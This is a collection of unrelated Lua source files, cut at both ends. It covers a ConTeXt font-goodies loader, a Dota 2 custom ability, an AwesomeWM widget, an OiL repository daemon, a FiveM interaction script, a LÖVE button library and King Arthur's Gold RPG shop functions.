fullname == "" then report_goodies("goodie file %a is not found (suffixes: % t)",filename,fontgoodies.suffixes) data[filename] = false -- signal for not found else goodies = dofile(fullname) or false if not goodies then report_goodies("goodie file %a is invalid",fullname) return nil elseif trace_goodies then report_goodies("goodie file %a is loaded",fullname) end goodies.name = goodies.name or "no name" for name, fnc in next, list do if trace_goodies then report_goodies("handling goodie %a",name) end fnc(goodies) end goodies.initialized = true data[filename] = goodies end end return goodies end function fontgoodies.register(name,fnc) -- will be a proper sequencer list[name] = fnc end fontgoodies.load = loadgoodies if implement then implement { name = "loadfontgoodies", actions = loadgoodies, arguments = "string", overload = true, -- for now, permits new font loader } end -- register goodies file local function setgoodies(tfmdata,value) local goodies = tfmdata.goodies if not goodies then -- actually an error goodies = { } tfmdata.goodies = goodies end for filename in gmatch(value,"[^, ]+") do -- we need to check for duplicates local ok = loadgoodies(filename) if ok then if trace_goodies then report_goodies("assigning goodie %a",filename) end goodies[#goodies+1] = ok end end end -- featuresets local function flattenedfeatures(t,tt) -- first set value dominates local tt = tt or { } for i=1,#t do local ti = t[i] if type(ti) == "table" then flattenedfeatures(ti,tt) elseif tt[ti] == nil then tt[ti] = true end end for k, v in next, t do if type(k) ~= "number" then -- not tonumber(k) if type(v) == "table" then flattenedfeatures(v,tt) elseif tt[k] == nil then tt[k] = v end end end return tt end -- fonts.features.flattened = flattenedfeatures local function prepare_features(goodies,name,set) if set then local ff = flattenedfeatures(set) local fullname = goodies.name .. "::" .. name local n, s = fonts.specifiers.presetcontext(fullname,"",ff) goodies.featuresets[name] = s -- set if trace_goodies then report_goodies("feature set %a gets number %a and name %a",name,n,fullname) end return n end end fontgoodies.prepare_features = prepare_features local function initialize(goodies) local featuresets = goodies.featuresets if featuresets then if trace_goodies then report_goodies("checking featuresets in %a",goodies.name) end for name, set in next, featuresets do prepare_features(goodies,name,set) end end end fontgoodies.register("featureset",initialize) local function setfeatureset(tfmdata,set,features) local goodies = tfmdata.goodies -- shared ? if goodies then local properties = tfmdata.properties local what for i=1,#goodies do -- last one wins local g = goodies[i] what = g.featuresets and g.featuresets[set] or what end if what then for feature, value in next, what do if features[feature] == nil then features[feature] = value end end properties.mode = what.mode or properties.mode end end end -- postprocessors (we could hash processor and share code) function fontgoodies.registerpostprocessor(tfmdata,f,prepend) local postprocessors = tfmdata.postprocessors if not postprocessors then tfmdata.postprocessors = { f } elseif prepend then table.insert(postprocessors,f,1) else table.insert(postprocessors,f) end end local function setpostprocessor(tfmdata,processor) local goodies = tfmdata.goodies if goodies and type(processor) == "string" then local found = { } local asked = utilities.parsers.settings_to_array(processor) for i=1,#goodies do local g = goodies[i] local p = g.postprocessors if p then for i=1,#asked do local a = asked[i] local f = p[a] if type(f) == "function" then found[a] = f end end end end local postprocessors = tfmdata.postprocessors or { } for i=1,#asked do local a = asked[i] local f = found[a] if f then postprocessors[#postprocessors+1] = f end end if #postprocessors > 0 then tfmdata.postprocessors = postprocessors end end end local function setextrafeatures(tfmdata) local goodies = tfmdata.goodies if goodies then for i=1,#goodies do local g = goodies[i] local f = g.features if f then for feature, specification in next, f do addotffeature(tfmdata.shared.rawdata,feature,specification) registerotffeature { name = feature, description = formatters["extra: %s"](feature) } end end end end end local function setextensions(tfmdata) local goodies = tfmdata.goodies if goodies then for i=1,#goodies do local g = goodies[i] local e = g.extensions if e then local goodie = g.name or "unknown" for i=1,#e do local name = "extension-" .. i -- report_goodies("adding extension %s from %s",name,goodie) otf.enhancers.addfeature(tfmdata.shared.rawdata,name,e[i]) end end end end end -- installation local goodies_specification = { name = "goodies", description = "goodies on top of built in features", initializers = { position = 1, base = setgoodies, node = setgoodies, } } registerotffeature(goodies_specification) registerafmfeature(goodies_specification) registertfmfeature(goodies_specification) -- maybe more of the following could be for type one too registerotffeature { name = "extrafeatures", description = "extra features", default = true, initializers = { position = 2, base = setextrafeatures, node = setextrafeatures, } } registerotffeature { name = "extensions", description = "extensions to features", default = true, initializers = { position = 2, base = setextensions, node = setextensions, } } registerotffeature { name = "featureset", description = "goodie feature set", initializers = { position = 3, base = setfeatureset, node = setfeatureset, } } registerotffeature { name = "postprocessor", description = "goodie postprocessor", initializers = { base = setpostprocessor, node = setpostprocessor, } }
faceless_void_time_lock_oaa = class( AbilityBaseClass ) LinkLuaModifier( "modifier_faceless_void_time_lock_oaa", "abilities/oaa_time_lock.lua", LUA_MODIFIER_MOTION_NONE ) -------------------------------------------------------------------------------- function faceless_void_time_lock_oaa:GetIntrinsicModifierName() return "modifier_faceless_void_time_lock_oaa" end function faceless_void_time_lock_oaa:ShouldUseResources() return true end -------------------------------------------------------------------------------- modifier_faceless_void_time_lock_oaa = class( ModifierBaseClass ) -------------------------------------------------------------------------------- function modifier_faceless_void_time_lock_oaa:IsHidden() return true end function modifier_faceless_void_time_lock_oaa:IsDebuff() return false end function modifier_faceless_void_time_lock_oaa:IsPurgable() return false end function modifier_faceless_void_time_lock_oaa:RemoveOnDeath() return false end -------------------------------------------------------------------------------- function modifier_faceless_void_time_lock_oaa:DeclareFunctions() local funcs = { MODIFIER_PROPERTY_PROCATTACK_BONUS_DAMAGE_MAGICAL, } return funcs end -------------------------------------------------------------------------------- if IsServer() then -- we're putting the stuff in this function because it's only run on a successful attack -- and it runs before OnAttackLanded, so we need to determine if a bash happens before then function modifier_faceless_void_time_lock_oaa:GetModifierProcAttack_BonusDamage_Magical( event ) local parent = self:GetParent() -- no bash while broken or illusion if parent:PassivesDisabled() or parent:IsIllusion() then return 0 end local target = event.target -- can't bash towers or wards, but can bash allies if UnitFilter( target, DOTA_UNIT_TARGET_TEAM_BOTH, bit.bor( DOTA_UNIT_TARGET_HERO, DOTA_UNIT_TARGET_BASIC ), DOTA_UNIT_TARGET_FLAG_MAGIC_IMMUNE_ENEMIES, parent:GetTeamNumber() ) ~= UF_SUCCESS then return 0 end local spell = self:GetAbility() -- don't bash while on cooldown if not spell:IsCooldownReady() then return 0 end local chance = spell:GetSpecialValueFor( "chance_pct" ) / 100 -- we're using the modifier's stack to store the amount of prng failures -- this could be something else but since this modifier is hidden anyway ... local prngMult = self:GetStackCount() + 1 -- compared prng to slightly less prng if RandomFloat( 0.0, 1.0 ) <= ( PrdCFinder:GetCForP(chance) * prngMult ) then -- reset failure count self:SetStackCount( 0 ) local duration = spell:GetSpecialValueFor( "duration" ) -- creeps have a different duration if not target:IsHero() then duration = spell:GetSpecialValueFor( "duration_creep" ) end -- apply the stun modifier target:AddNewModifier( parent, spell, "modifier_faceless_void_timelock_freeze", { duration = duration } ) target:EmitSound( "Hero_FacelessVoid.TimeLockImpact" ) -- use cooldown ( and mana, if necessary ) spell:UseResources( true, true, true ) -- because talents are dumb we need to manually get its value local damageTalent = 0 local dtalent = parent:FindAbilityByName( "special_bonus_unique_faceless_void_3" ) -- we also have to manually check if it's been skilled or not if dtalent and dtalent:GetLevel() > 0 then damageTalent = dtalent:GetSpecialValueFor( "value" ) end -- apply the proc damage return spell:GetSpecialValueFor( "bonus_damage" ) + damageTalent else -- increment failure count self:SetStackCount( prngMult ) return 0 end end end
-- ------------------------------------------------------------------------------------- -- Including Standard Awesome Libraries local awful = require("awful") local gears = require("gears") local wibox = require("wibox") local naughty = require("naughty") local beautiful = require("beautiful").startscreen.webcam -- ------------------------------------------------------------------------------------- -- Including Custom Helper Libraries local helpers = require("helpers") -- ------------------------------------------------------------------------------------- -- Creating the Webcam Widget local webcam_icon = wibox.widget { image = beautiful.icon, resize = true, forced_width = beautiful.icon_size, forced_height = beautiful.icon_size, widget = wibox.widget.imagebox } local centered = helpers.centered local webcam = wibox.widget { centered( centered(webcam_icon, "horizontal"), "vertical" ), bg = beautiful.bg, shape = helpers.rrect(beautiful.border_radius or 0), forced_width = beautiful.width, forced_height = beautiful.height, widget = wibox.container.background } helpers.add_clickable_effect( webcam, function() webcam.bg = beautiful.bg_hover end, function() webcam.bg = beautiful.bg end ) -- ------------------------------------------------------------------------------------- -- Adding Button Controls to the Widget webcam:buttons(gears.table.join( -- Left click - Open webcam awful.button({}, 1, function() awful.spawn.with_shell("cheese") end) )) -- ------------------------------------------------------------------------------------- return webcam
local format = string.format local function printf(fmt, ...) print(format(fmt, ...)) end local name = "Ciccio" printf("Ciao %s, come stai ?", name) local a, b = 3.25, 225 printf("Some numbers, float: %g, integer: %i", a, b)
#!/usr/bin/env lua -------------------------------------------------------------------------------- -- @script OiL Interface Repository Daemon -- @version 1.2 -- @author Renato Maia <maia@tecgraf.puc-rio.br> -- print("OiL Interface Repository 1.2 Copyright (C) 2005-2008 Tecgraf, PUC-Rio") local _G = require "_G" local io = require "io" local os = require "os" local oil = require "oil" local verbose = require "oil.verbose" local Arguments = require "loop.compiler.Arguments" local args = Arguments{ _optpat = "^%-%-(%w+)(=?)(.-)$", verb = 0, port = 0, ior = "", } function args.log(optlist, optname, optvalue) local file, errmsg = io.open(optvalue, "w") if file then verbose:output(file) else return errmsg end end local argidx, errmsg = args(...) if not argidx then io.stderr:write([[ ERROR: ]],errmsg,[[ Usage: ird.lua [options] <idlfiles> Options: --verb <level> --log <file> --ior <file> --port <number> ]]) os.exit(1) end local files = { _G.select(argidx, ...) } oil.main(function() verbose:level(args.verb) local orb = (args.port > 0) and oil.init{port=args.port} or oil.init() local ir = orb:getLIR() if args.ior ~= "" then oil.writeto(args.ior, tostring(ir)) end for _, file in _G.ipairs(files) do orb:loadidlfile(file) end end)
local function send_json(channel, data) data = game.table_to_json(data) print("\f$ipc:" .. channel .. "?j" .. data) end script.on_init(function() send_json("mod_list", game.active_mods) end)
local Tunnel = module("vrp", "lib/Tunnel") local Proxy = module("vrp", "lib/Proxy") vRP = Proxy.getInterface("vRP") vRPserver = Tunnel.getInterface("vRP") Passos = Tunnel.getInterface("vrp_interacao") vRPmenu_ = {} Tunnel.bindInterface("vrp_interacao", vRPmenu_) Proxy.addInterface("vrp_interacao", vRPmenu_) -- Criado por [Discord: Passos#3717] --=============================================================================================-- -- Executar Comando --=============================================================================================-- function vRPmenu_.ExecuteCommand(comando) return ExecuteCommand(comando) end --=============================================================================================-- -- Cancelar Animacoes --=============================================================================================-- function vRPmenu_.cancelAnimations() local ped = PlayerPedId() if not IsEntityDead(ped) then vRP.DeletarObjeto() ClearPedTasks(ped) end end --=============================================================================================-- -- Notificacao --=============================================================================================-- function vRPmenu_.notify(texto) SetNotificationTextEntry("STRING") AddTextComponentString(texto) DrawNotification(true, false) end --=============================================================================================-- -- Abrir Menu --=============================================================================================-- Citizen.CreateThread(function() while true do Citizen.Wait(1) if IsControlJustPressed(0, 311) then Passos.menuInteracao() end end end)
local button = {} button.__index = button button._version = "0.7.0" local ORIGIN = {x = 0, y = 0} local lg = love.graphics -- run at bottom of main update function ------------------------------------------- -------------Local Functions--------------- ------------------------------------------- local lg = love.graphics local function dist(x1, y1, x2, y2, squared) local dx = x1 - x2 local dy = y1 - y2 local s = dx * dx + dy * dy return squared and s or math.sqrt(s) end -- return image from string path or passed drawable local function formatImage( image ) -- assert(image, "Required image not passed.") if type(image) == "string" then return lg.newImage(image) elseif pcall(function() image:typeOf("Drawable") end) then return image elseif not image then return nil else error("Parameter passed not valid. Must be either path to drawable, or drawable type.") end end local function inside(tab, var) for k,v in pairs(tab) do if v == var then return true end end return false end local function uncapitalize(str) return string.lower(str:sub(1, 1))..str:sub(2, string.len(str)) end local function formatVariable(var, ...) local l = ... local s = "" s = (inside(l, "pressed") and "Pressed") or (inside(l, "hover") and s.."Hover" or s) or s s = inside(l, "selected") and s.."Selected" or s -- format capitalization s = s..var:gsub("^%l", string.upper) s = s:gsub("^%l", string.lower) return uncapitalize(s) end -- iterates through similar vars and formats variable name local function simVarIter(main) local t = {"", "hover", "pressed", "selected", "hoverSelected", "pressedSelected"} local i = 0 return function() i = i + 1 if i <= #t then return uncapitalize(t[i]..main) end end end local function merge(default, extra) if not extra then return default end for k,v in pairs(extra) do default[k] = v end return default end local function average(tab) local t = 0 for k,v in pairs(tab) do t = t + v end return t / #tab end local function getDefault() return { font = lg.getFont(), rotation = 0, fitText = false, fitHoverText = true, visible = true, requireSelfClick = true, -- require press to happen in this button, then release in this button. parent = ORIGIN, -- Keep in mind, you cannot be pressed while not being hovered. -- Variables for when the button is not hovered, or selected. text = "", -- text to print textRotation = 0, textColor = {1,1,1,1}, -- color of text textBackgroundColor = {0,0,0,0}, -- DOUBLE CHECK highlight color of text? textBackgroundBuffer = 1, -- Buffer in pixels for surrounding highlight. textXOffset = 0, -- Horizontal text offset within button. Note, doesn't have to be inside button. textYOffset = 0, -- Vertical offset within button image = nil, -- Image to draw, has to be lg.newImage, not path to image. You can use formatImage. color = {1,1,1,1}, -- color of main button area. outlineColor = {0,0,0,0}, -- Color of outline draw. outlineWidth = 0, -- Width of outline -- isHovering -- Button state while hovered, but not selected. hoverText = "", hoverTextRotation = 0, hoverTextColor = {1,1,1,1}, hoverTextBackgroundColor = {0,0,0,0}, hoverTextBackgroundBuffer = 1, hoverImage = nil, -- not selected; hovered; not pressed hoverColor = {0.8,0.8,0.8,1}, hoverOutlineColor = {0,0,0,0}, hoverOutlineWidth = 1, isHovering = false, -- additional hover variables promptOffsetX = 0, promptOffsetY = 0, hoverTime = 0, hoverFuncTime = 1, hoverPromptTime = 1, isPrompting = false, lockPromptToWindow = true, -- Button state while pressed but not selected, -- AKA trigger mouse/keyboard held while hovering over the button not yet triggered. pressedText = "", pressedTextRotation = 0, pressedTextColor = {1,1,1,1}, pressedTextBackgroundColor = {0,0,0,0}, pressedTextBackgroundBuffer = 1, pressedImage = nil, -- not selected; hovered; pressed pressedColor = {0.7,0.7,0.7,1}, pressedOutlineColor = {0,0,0,0}, pressedOutlineWidth = 1, isPressed = false, -- Button state selected, not pressed. selectedText = "", selectedTextRotation = 0, selectedTextColor = {1,1,1,1}, selectedTextBackgroundColor = {0,0,0,0}, selectedTextBackgroundBuffer = 1, selectedImage = nil, -- selected; not hovered; not pressed selectedColor = {1,1,1,1}, selectedOutlineColor = {0,0,0,0}, selectedOutlineWidth = 1, selected = false, selectable = true, -- selectable refers to if it can be selected despite if it is visible. Usually will == visible -- Button state selected and hovered, not pressed hoverSelectedText = "", hoverSelectedTextRotation = 0, hoverSelectedTextColor = {1,1,1,1}, hoverSelectedTextBackgroundColor = {0,0,0,0}, hoverSelectedTextBackgroundBuffer = 1, hoverSelectedImage = nil, -- selected; hovered; not pressed hoverSelectedColor = {0.8,0.8,0.8,1}, hoverSelectedOutlineColor = {0,0,0,0}, hoverSelectedOutlineWidth = 1, -- Button state selected and pressed pressedSelectedText = "", pressedSelectedTextRotation = 0, pressedSelectedTextColor = {1,1,1,1}, pressedSelectedTextBackgroundColor = {0,0,0,0}, pressedSelectedTextBackgroundBuffer = 1, pressedSelectedImage = nil, -- selected; hovered; pressed pressedSelectedColor = {0.7,0.7,0.7,1}, pressedSelectedOutlineColor = {0,0,0,0}, pressedSelectedOutlineWidth = 1, -- hoverPromptText = "", hoverPromptTextRotation = 0, promptFont = lg.getFont(), promptTextColor = {1,1,1,1}, promptTextBackgroundColor = {0,0,0,0}, promptTextBackgroundBuffer = 1, promptColor = {0,0,0,0}, promptOutlineColor = {0,0,0,0}, promptOutlineWidth = 1, promptXBuffer = 2, -- this is the extra space around prompt text promptYBuffer = 2, -- this is the extra space around prompt text triggerMouse = {1}, triggerKeyboard = {}, -- array of buttons to detect isDown } end -------------------------------------------- --------------Global Functions-------------- -------------------------------------------- -------------------------------------------- ----------------Constructors---------------- -------------------------------------------- function button.newPolygonButton(x, y, vertices, extra) assert(type(vertices) == "table", "Parameter #3 requires table of vertices.") local properties = getDefault() properties.shape = lg.polygon properties.vertices = vertices properties.x, properties.y = x, y properties = merge(properties, extra) local minx, miny, maxx, maxy = math.huge, math.huge, -math.huge, -math.huge local xt, yt = {}, {} for i = 1, #vertices, 2 do if vertices[i] < minx then minx = vertices[i] end if vertices[i] > maxx then maxx = vertices[i] end if vertices[i+1] < miny then miny = vertices[i+1] end if vertices[i+1] > maxy then maxy = vertices[i+1] end table.insert(xt, vertices[i]) table.insert(yt, vertices[i+1]) end properties.w, properties.h = math.abs(maxx - minx), math.abs(maxy - miny) properties.centerx, properties.centery = average(xt), average(yt) return setmetatable(properties, button) end -- function button.newRectangleButton(l,t,w,h,extra) return button.newPolygonButton( l, t, {0, 0, w, 0, w, h, 0, h}, extra ) end -- Circle button functionality not yet implemented function button.newCircleButton(x,y,r,extra) local properties = getDefault() properties.centerx, properties.centery = x, y properties.shape, properties.x, properties.y, properties.radius = lg.circle, x, y, r properties = merge(properties, extra) return setmetatable(properties, button) end -------------------------------------------- --------------Main Functions---------------- --Run these in their respective love loops-- -------------------------------------------- function button:update(dt) local mx, my = love.mouse.getPosition() if self:inBounds(mx, my) then local press, key = self:keyPressed() self.isPressed = (press and self.requireSelfClick and self.origPress) and true or false if self.isHovering == false then self.onEnter() self.isHovering = true end if self.hoverTime > self.hoverFuncTime then self.hover() end self.hoverTime = self.hoverTime + dt self.isPrompting = self.hoverTime > self.hoverPromptTime and true or false elseif self.isHovering == true then self.onExit() self.isHovering = false self.hoverTime = 0 self.isPressed = false self.isPrompting = false end end function button:draw() lg.push() local fV = formatVariable if self.visible then local v = {} if self.isHovering then table.insert(v, "hover") end if self.isPressed then table.insert(v, "pressed") end if self.selected then table.insert(v, "selected") end local x, y = self.x + self.parent.x, self.y + self.parent.y lg.translate(x, y) -- draw lg.setColor(self[fV("color", v)]) local im = self[fV("image", v)] if im then local w, h = self.w or self.radius * 2, self.h or self.radius * 2 lg.draw(im, 0, 0, self.rotation, w/im:getWidth(), h/im:getHeight(), self.radius and im:getWidth()/2, self.radius and im:getHeight()/2) else if self.shape == lg.polygon then self.shape("fill", self.vertices) else self.shape("fill", 0,0, self.radius) end end lg.setColor(self[fV("outlineColor", v)]) lg.setLineWidth(self[fV("outlineWidth", v)]) if self.shape == lg.polygon then self.shape("line", self.vertices) else self.shape("line", x, y, w and w or self.radius, h and h or self.roundedCornersRadius, self.roundedCornersRadius, self.roundedCornersRadius ) end -- rectangle for text background lg.setColor( self[fV("textBackgroundColor", v)] ) local txt = self[fV("text", v)] local tbb = self[fV("textBackgroundBuffer", v)] local tr = self[fV("textRotation", v)] lg.translate(self.textXOffset, self.textYOffset) local tw, th = self.font:getWidth(txt), self.font:getHeight(txt) local txtx, txty = self.centerx + self.textXOffset, self.centery + self.textYOffset if self.shape == lg.circle then txtx, txty = lg.inverseTransformPoint(txtx, txty) end lg.rectangle("fill", txtx - tbb - tw/2, txty - tbb - th/2, tw + tbb*2, th + tbb*2 ) lg.setColor(self[fV("textColor", v)]) lg.setFont(self.font) lg.print(txt, txtx, txty, tr, 1, 1, self.font:getWidth(txt)/2, self.font:getHeight()/2) end lg.pop() end function button:mousepressed(x, y, key, istouch, presses) if self:inBounds(x,y) then if self:keyPressed(key) then self.origPress = true self:onPress() end end end function button:mousereleased(x, y, key, istouch, presses) if self:inBounds(x,y) then if self.requireSelfClick and self.origPress or not self.requireSelfClick then if self:keyPressed(key) then self:onRelease() end end end self.origPress = false end function button:keypressed(key, istouch, presses) if self:inBounds(love.mouse.getPosition()) then if self:keyPressed(key) then self.origPress = true self:onPress() end end end function button:keyreleased(key, istouch, presses) if self:inBounds(love.mouse.getPosition()) then if self.requireSelfClick and self.origPress or not self.requireSelfClick then if self:keyPressed(key) then self:onRelease() end end end self.origPress = false end -- draws popup message Put in love's draw loop after other buttons it may overlap function button:prompt() if not self.isPrompting then return false end lg.push() local mx, my = love.mouse.getPosition() local pW, pY = self.font:getWidth(self.hoverPromptText) + self.promptXBuffer * 2, self.font:getHeight(self.hoverPromptText) + self.promptYBuffer * 2 -- these two lines slightly buggy. fix it if self.lockPromptToWindow then if mx + pW > lg.getWidth() then mx = lg.getWidth() - pW end if my - pY/2 < 0 then my = pY/2 end end lg.setColor(self.promptColor) lg.rectangle("fill", mx, my-self.font:getHeight(self.hoverPromptText), pW,pY) lg.setColor(self.promptOutlineColor) lg.setLineWidth(self.promptOutlineWidth) lg.rectangle("line", mx, my-self.font:getHeight(self.hoverPromptText), pW, pY) lg.setColor(self.promptTextColor) lg.print(self.hoverPromptText, mx + self.promptXBuffer, my- self.font:getHeight()/2) lg.pop() end -------------------------------------------- -------------Common Functions--------------- -------------------------------------------- function button:onRelease() end function button:onPress() end function button:onHoldPress() end function button:hover() end function button:onEnter() end function button:onExit() end -- Returns if x,y position is inside boundary of button function button:inBounds(x,y) x, y = lg.inverseTransformPoint(x - self.x, y - self.y) if self.shape == lg.polygon then local vert = self.vertices local oddNodes = false local j = #vert-1 for i = 1, #vert, 2 do if (vert[i+1] < y and vert[j+1] >= y or vert[j+1] < y and vert[i+1] >= y) then if (vert[i] + ( y - vert[i+1] ) / (vert[j+1] - vert[i+1] ) * (vert[j] - vert[i]) < x) then oddNodes = not oddNodes end end j = i end return oddNodes else return dist(x, y, 0,0) <= self.radius end end -- if key not passed, it will check if it is down. function button:keyPressed(key) for i = 1, #self.triggerMouse do if key and key == self.triggerMouse[i] or not key and love.mouse.isDown(self.triggerMouse[i]) then return true, self.triggerMouse[i] end end for i = 1, #self.triggerKeyboard do if key and key == self.triggerKeyboard[i] or not key and love.keyboard.isDown(self.triggerKeyboard[i]) then return true, self.triggerKeyboard[i] end end return false end -- Toggles if the button is considered selected or not. -- If you want the button to have a toggled on/off state, run this inside it's onPress or onRelease functions function button:toggle(bool) self.selected = bool and bool or not self.selected end --------------------- ----Set Functions---- --------------------- -- main set functions function button:setVertices(...) assert(self.shape == lg.polygon, "Button type is not a polygon.") local verts = {...} if type(verts[1]) == "table" then verts = verts[1] end assert(#verts % 2 == 0, "Number of vertices must be an even number.") self.vertices = verts end --[[ varargs (...) for the following functions can be use like... false/nil will only set the main variable (the first one under if input == true) true will set all button states to that variable table of variable strings to set those variables -- i.e. button:setText example button:setText("this is a test button!", {"selectedText", "pressedSelectedText", "hoverSelectedText"}) ]] function button:setText(text, ...) local input = ... if input == true then for v in simVarIter("Text") do self[v] = text end elseif not input then self.text = text elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = text end end end function button:setTextRotation(rotation, ...) local input = ... if input == true then for v in simVarIter("TextRotation") do self[v] = rotation end elseif not input then self.textRotation = rotation elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = rotation end end end function button:setTextColor(col, ...) local input = ... if input == true then for v in simVarIter("TextColor") do self[v] = col end elseif not input then self.textColor = col elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = col end end end function button:setTextBackgroundColor(col, ...) local input = ... if input == true then for v in simVarIter("TextBackgroundColor") do self[v] = col end elseif not input then self.textBackgroundColor = col elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = col end end end function button:setTextBackgroundBuffer(buffer, ...) local input = ... if input == true then for v in simVarIter("TextBackgroundBuffer") do self[v] = buffer end elseif not input then self.textBackgroundBuffer = buffer elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = buffer end end end function button:setImage(image, ...) local input = ... if input == true then local im = formatImage(image) for v in simVarIter("Image") do self[v] = im end elseif not input then self.image = formatImage( image ) elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = formatImage( image ) end end end function button:setColor(col, ...) local input = ... if input == true then for v in simVarIter("Color") do self[v] = col end elseif not input then self.color = col elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = col end end end function button:setOutlineColor(col, ...) local input = ... if input == true then for v in simVarIter("OutlineColor") do self[v] = col end elseif not input then self.outlineColor = col elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = col end end end function button:setOutlineWidth(w, ...) local input = ... if input == true then for v in simVarIter("OutlineWidth") do self[v] = w end elseif not input then self.outlineWidth = w elseif type(input) == "table" then for k,v in pairs( input ) do self[v] = w end end end -- function to clone button return button
function rm_Heal(player) local maxHealth = player:GetNumber("max_health") local diffHealth = maxHealth - player:GetHealth() if (diffHealth > 0) then player:SendMessage("Healed " .. (diffHealth * 2) .. " HP") player:SetHealth(player:GetNumber("max_health")) end end function rm_SetSpawn(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Bedroom.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then local e = ENTITIES[b:GetID()] if (e) then player:SetNumber("respawn_x", e.x) player:SetNumber("respawn_y", e.y) player:SendMessage("New spawn point set! You will respawn here if you die or leave the server") end end end end function rm_CheckShop(player) end function rm_SellCrap(player) SellCrap(player) end function rm_Buy_SmallPotion(player) local unitPrice = 50 local amount = 1 local price = unitPrice * amount local currentCoins = player:GetNumber("coins") if (currentCoins < price) then player:SendMessage("Not enough coins in your wallet!") return end player:SetNumber("coins", math.max(0, currentCoins - price)) player:SendMessage("Lost " .. price .. " coins") InventoryAdd(player, GetItemByID("small-potion"), amount) end function rm_Buy_SmallPotion_10(player) local unitPrice = 50 local amount = 10 local price = unitPrice * amount local currentCoins = player:GetNumber("coins") if (currentCoins < price) then player:SendMessage("Not enough coins in your wallet!") return end player:SetNumber("coins", math.max(0, currentCoins - price)) player:SendMessage("Lost " .. price .. " coins") InventoryAdd(player, GetItemByID("small-potion"), amount) end function rm_Buy_SmallPotion_50(player) local unitPrice = 50 local amount = 50 local price = unitPrice * amount local currentCoins = player:GetNumber("coins") if (currentCoins < price) then player:SendMessage("Not enough coins in your wallet!") return end player:SetNumber("coins", math.max(0, currentCoins - price)) player:SendMessage("Lost " .. price .. " coins") InventoryAdd(player, GetItemByID("small-potion"), amount) end function rm_Buy_DamagePotion(player) local price = 500 local currentCoins = player:GetNumber("coins") if (currentCoins < price) then player:SendMessage("Not enough coins in your wallet!") return end player:SetNumber("coins", math.max(0, currentCoins - price)) player:SendMessage("Lost " .. price .. " coins") InventoryAdd(player, GetItemByID("damage-potion")) end function rm_ReadSign(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Sign.cfg" and math.abs(b:GetX()-player:GetX()) <= 24 and math.abs(b:GetY()-player:GetY()) <= 24) then local e = ENTITIES[b:GetID()] if (e) then if (type(e.onAction) == "function") then e.onAction(e, player, "read_sign") end if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "read_sign") end break end end end end function rm_DropSkulls(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Altar.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then local e = ENTITIES[b:GetID()] if (e) then if (type(e.onAction) == "function") then e.onAction(e, player, "drop_skulls") end if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "drop_skulls") end break end end end end function rm_UseAltar(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Altar.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then local e = ENTITIES[b:GetID()] if (e) then if (type(e.onAction) == "function") then e.onAction(e, player, "use_altar") end if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "use_altar") end break end end end end function rm_CheckTunnel(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Tunnel.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then local e = ENTITIES[b:GetID()] if (e) then if (type(e.onAction) == "function") then e.onAction(e, player, "check_tunnel") end if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "check_tunnel") end break end end end end function rm_FastTravel(player) for i=1,KAG.GetBlobsCount() do local b = KAG.GetBlobByIndex(i) if (b:GetConfigFileName() == "Entities/Rooms/RPG_Tunnel.cfg" and math.abs(b:GetX()-player:GetX()) <= 128 and math.abs(b:GetY()-player:GetY()) <= 64) then local e = ENTITIES[b:GetID()] if (e) then if (type(e.onAction) == "function") then e.onAction(e, player, "fast_travel") end if (type(e.type.onAction) == "function") then e.type.onAction(e, player, "fast_travel") end break end end end end function rm_Buy_Head1(player) BuyHead(player, 16) end function rm_Buy_Head2(player) BuyHead(player, 17) end function rm_Buy_Head3(player) BuyHead(player, 18) end function rm_Buy_Head4(player) BuyHead(player, 19) end function rm_Buy_Head5(player) BuyHead(player, 20) end function rm_Buy_Head6(player) BuyHead(player, 21) end function rm_Buy_Head7(player) BuyHead(player, 22) end function rm_Buy_Head8(player) BuyHead(player, 23) end function rm_Buy_Head9(player) BuyHead(player, 24) end function rm_Buy_Head10(player) BuyHead(player, 25) end function rm_Buy_Head11(player) BuyHead(player, 26) end function rm_Buy_Head12(player) BuyHead(player, 27) end function rm_Buy_Head13(player) BuyHead(player, 28) end function rm_Buy_Head14(player) BuyHead(player, 29) end function rm_Buy_Head15(player) BuyHead(player, 30) end function rm_Buy_Head16(player) BuyHead(player, 31) end function rm_Buy_Head17(player) BuyHead(player, 32) end function rm_Buy_Head18(player) BuyHead(player, 33) end function rm_Buy_Head19(player) BuyHead(player, 34) end function rm_Buy_Head20(player) BuyHead(player, 35) end function rm_Buy_Head21(player) BuyHead(player, 36) end function rm_Buy_Head22(player) BuyHead(player, 37) end function rm_Buy_Head23(player) BuyHead(player, 38) end function rm_Buy_Head24(player) BuyHead(player, 39) end function rm_Buy_Head25(player) BuyHead(player, 40) end function rm_Buy_Head26(player) BuyHead(player, 41) end function rm_Buy_Head27(player) BuyHead(player, 42) end function rm_Buy_Head28(player) BuyHead(player, 43) end function rm_Buy_Head29(player) BuyHead(player, 0) end function rm_Buy_Head30(player) BuyHead(player, 1) end function rm_Buy_Head31(player) BuyHead(player, 2) end function 